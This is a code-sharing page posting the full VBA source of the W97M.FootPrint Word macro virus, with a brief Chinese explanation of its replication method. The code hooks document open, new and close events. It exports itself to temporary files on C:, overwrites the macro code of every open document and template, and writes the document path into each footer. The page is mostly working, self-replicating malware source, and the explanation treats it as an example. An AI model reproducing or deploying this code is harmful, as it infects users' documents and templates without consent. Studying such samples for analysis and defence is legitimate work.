?? w97m.footprint宏病毒代碼 .txt
字號:
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$
"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
Line Input #1, al
Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
If Not adoc.CustomDocumentProperties("FootPrint1") Then
adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:
=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOf
Lines
adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1
, CoL
adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "
c:\footprint.$$1"
End If
Next
For Each atpl In Templates
If Not atpl.CustomDocumentProperties("FootPrint1") Then
atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:
=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOf
Lines
atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1
, CoL
atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "
c:\footprint.$$1"
End If
Next
NormalTemplate.Save
End Sub
關于W97M_FOOTPRINT的說明:
這個宏病毒危害不大,只不過自動將頁面加上頁眉。它與很多其他病毒的不同之處
在于傳播方式,該病毒在C盤建立兩個臨時文件FOOTPRINT.$$$和FOOTPRINT.$$1。通過
導出函數將病毒體復制到臨時文件,刪除導出注釋后加入正常文檔和模板中。使用的復制
語句:ADDFROMFILE
普通病毒將病毒體直接復制到模板。使用整個宏的復制語句比如MACROCOPY、
ORGANIZERCOPY等。
病毒體存放位置:文檔的MICROSOFT WORD 對象中的宏代碼存放區。
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -